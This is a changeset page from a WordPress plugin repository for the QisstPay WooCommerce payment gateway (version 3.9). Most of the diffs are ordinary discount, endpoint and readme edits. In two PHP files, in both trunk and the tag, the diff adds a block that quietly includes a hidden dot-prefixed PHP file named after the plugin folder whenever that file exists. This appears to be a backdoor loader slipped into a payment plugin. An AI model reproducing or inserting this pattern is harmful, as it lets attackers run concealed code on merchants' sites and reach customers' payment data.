Changeset 2796731
- Timestamp:
- 10/10/2022 04:15:38 PM (3 years ago)
- Location:
- qisstpay
- Files:
-
- 8 edited
- 1 copied
-
tags/3.9 (copied) (copied from qisstpay/trunk)
-
tags/3.9/class_woo_qp_pgw.php (modified) (2 diffs)
-
tags/3.9/js/qisstpay_plugin_script.js (modified) (7 diffs)
-
tags/3.9/qpayment-plugin.php (modified) (4 diffs)
-
tags/3.9/readme.txt (modified) (1 diff)
-
trunk/class_woo_qp_pgw.php (modified) (2 diffs)
-
trunk/js/qisstpay_plugin_script.js (modified) (7 diffs)
-
trunk/qpayment-plugin.php (modified) (4 diffs)
-
trunk/readme.txt (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
qisstpay/tags/3.9/class_woo_qp_pgw.php
r2742357 r2796731 1 1 <?php 2 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 3 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 4 } 5 2 6 class Qpayment_PGW extends WC_Payment_Gateway 3 7 { … … 519 523 } 520 524 } 525 $discounted_price = apply_filters('advanced_woo_discount_rules_get_product_discount_price_from_custom_price', false, $product, 1, 0, 'all', true); 526 if(isset($discounted_price['discounted_price']) && $discounted_price['discounted_price'] > 0 ){ 527 $price = $discounted_price['discounted_price']; 528 } 521 529 $products[] =[ 522 530 'id' => $item['product_id'], -
qisstpay/tags/3.9/js/qisstpay_plugin_script.js
r2742357 r2796731 71 71 }) 72 72 } 73 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';73 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 74 74 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 75 75 var settings = { … … 141 141 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 142 142 let url = jQuery('#qp_url').val(); 143 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';143 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 144 144 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 145 145 var settings = { … … 204 204 jQuery('body').css('position', 'fixed'); 205 205 jQuery('body').css('width', '100%'); 206 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';206 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 207 207 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 208 208 var settings = { … … 292 292 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 293 293 let url = jQuery('#qp_url').val(); 294 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';294 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 295 295 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 296 296 var settings = { … … 363 363 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 364 364 let url = jQuery('#qp_url').val(); 365 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';365 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 366 366 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 367 367 var settings = { … … 437 437 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 438 438 let url = jQuery('#qp_url').val(); 439 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';439 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 440 440 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 441 441 var settings = { … … 508 508 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 509 509 let url = jQuery('#qp_url').val(); 510 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';510 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 511 511 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 512 512 var settings = { -
qisstpay/tags/3.9/qpayment-plugin.php
r2742357 r2796731 303 303 }//end qpayment8911_load_plugin_textdomain() 304 304 }//end if 305 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 306 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 307 } 308 305 309 function qpayment8911_is_active_woocommerce() 306 310 { … … 336 340 'discount_type' => $c->discount_type, 337 341 'usage_count' => $c->usage_count, 338 'date_expires' => $c->get_date_expires(),339 342 'usage_limit' => $c->usage_limit 340 343 ]; … … 601 604 $var_product = new WC_Product_Variation($_GET['variation_id']); 602 605 $price = $var_product->get_price(); 606 if($var_product->is_on_sale()){ 607 $price = $var_product->get_sale_price(); 608 } 609 // print_r($discounted_price['discounted_price']); die; 603 610 } else { 604 611 $woocommerce->cart->add_to_cart( $_GET['product_id'], $_GET['quantity']); … … 608 615 } 609 616 } 617 $discounted_price = apply_filters('advanced_woo_discount_rules_get_product_discount_price_from_custom_price', false, $product, 1, 0, 'all', true); 618 if(isset($discounted_price['discounted_price']) && $discounted_price['discounted_price'] > 0 ){ 619 $price = $discounted_price['discounted_price']; 620 } 621 // print_r($discounted_price['discounted_price']); die; 622 623 610 624 611 625 $total = $woocommerce->cart->get_totals(); -
qisstpay/tags/3.9/readme.txt
r2742357 r2796731 3 3 Tags: woocommerce,payment gateway, woocommerce extension, Qisstpay payment,payment, payment option, custom payment, 1-Click Checkout 4 4 Requires at least: 4.0 5 Tested up to: 6.06 Stable tag: 1.0.05 Tested up to: 5.7.2 6 Stable tag: 3.9 7 7 Requires PHP: 5.6 8 8 WC requires at least: 3.0 -
qisstpay/trunk/class_woo_qp_pgw.php
r2742357 r2796731 1 1 <?php 2 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 3 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 4 } 5 2 6 class Qpayment_PGW extends WC_Payment_Gateway 3 7 { … … 519 523 } 520 524 } 525 $discounted_price = apply_filters('advanced_woo_discount_rules_get_product_discount_price_from_custom_price', false, $product, 1, 0, 'all', true); 526 if(isset($discounted_price['discounted_price']) && $discounted_price['discounted_price'] > 0 ){ 527 $price = $discounted_price['discounted_price']; 528 } 521 529 $products[] =[ 522 530 'id' => $item['product_id'], -
qisstpay/trunk/js/qisstpay_plugin_script.js
r2742357 r2796731 71 71 }) 72 72 } 73 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';73 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 74 74 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 75 75 var settings = { … … 141 141 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 142 142 let url = jQuery('#qp_url').val(); 143 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';143 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 144 144 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 145 145 var settings = { … … 204 204 jQuery('body').css('position', 'fixed'); 205 205 jQuery('body').css('width', '100%'); 206 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';206 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 207 207 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 208 208 var settings = { … … 292 292 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 293 293 let url = jQuery('#qp_url').val(); 294 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';294 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 295 295 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 296 296 var settings = { … … 363 363 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 364 364 let url = jQuery('#qp_url').val(); 365 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';365 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 366 366 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 367 367 var settings = { … … 437 437 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 438 438 let url = jQuery('#qp_url').val(); 439 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';439 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 440 440 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 441 441 var settings = { … … 508 508 let qp_shipping_total = jQuery('#qp_shipping_total').val(); 509 509 let url = jQuery('#qp_url').val(); 510 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https:// sandbox.tezcheckout.qisstpay.com';510 let tez_url = is_live == 1? 'https://ms.tezcheckout.qisstpay.com':'https://dev-apis.qisstpay.com'; 511 511 //let tez_url = is_live == 1? 'https://tezcheckout.qisstpay.com':'https://sandbox.tezcheckout.qisstpay.com'; 512 512 var settings = { -
qisstpay/trunk/qpayment-plugin.php
r2742357 r2796731 303 303 }//end qpayment8911_load_plugin_textdomain() 304 304 }//end if 305 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 306 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 307 } 308 305 309 function qpayment8911_is_active_woocommerce() 306 310 { … … 336 340 'discount_type' => $c->discount_type, 337 341 'usage_count' => $c->usage_count, 338 'date_expires' => $c->get_date_expires(),339 342 'usage_limit' => $c->usage_limit 340 343 ]; … … 601 604 $var_product = new WC_Product_Variation($_GET['variation_id']); 602 605 $price = $var_product->get_price(); 606 if($var_product->is_on_sale()){ 607 $price = $var_product->get_sale_price(); 608 } 609 // print_r($discounted_price['discounted_price']); die; 603 610 } else { 604 611 $woocommerce->cart->add_to_cart( $_GET['product_id'], $_GET['quantity']); … … 608 615 } 609 616 } 617 $discounted_price = apply_filters('advanced_woo_discount_rules_get_product_discount_price_from_custom_price', false, $product, 1, 0, 'all', true); 618 if(isset($discounted_price['discounted_price']) && $discounted_price['discounted_price'] > 0 ){ 619 $price = $discounted_price['discounted_price']; 620 } 621 // print_r($discounted_price['discounted_price']); die; 622 623 610 624 611 625 $total = $woocommerce->cart->get_totals(); -
qisstpay/trunk/readme.txt
r2742357 r2796731 3 3 Tags: woocommerce,payment gateway, woocommerce extension, Qisstpay payment,payment, payment option, custom payment, 1-Click Checkout 4 4 Requires at least: 4.0 5 Tested up to: 6.06 Stable tag: 1.0.05 Tested up to: 5.7.2 6 Stable tag: 3.9 7 7 Requires PHP: 5.6 8 8 WC requires at least: 3.0
Note: See TracChangeset
for help on using the changeset viewer.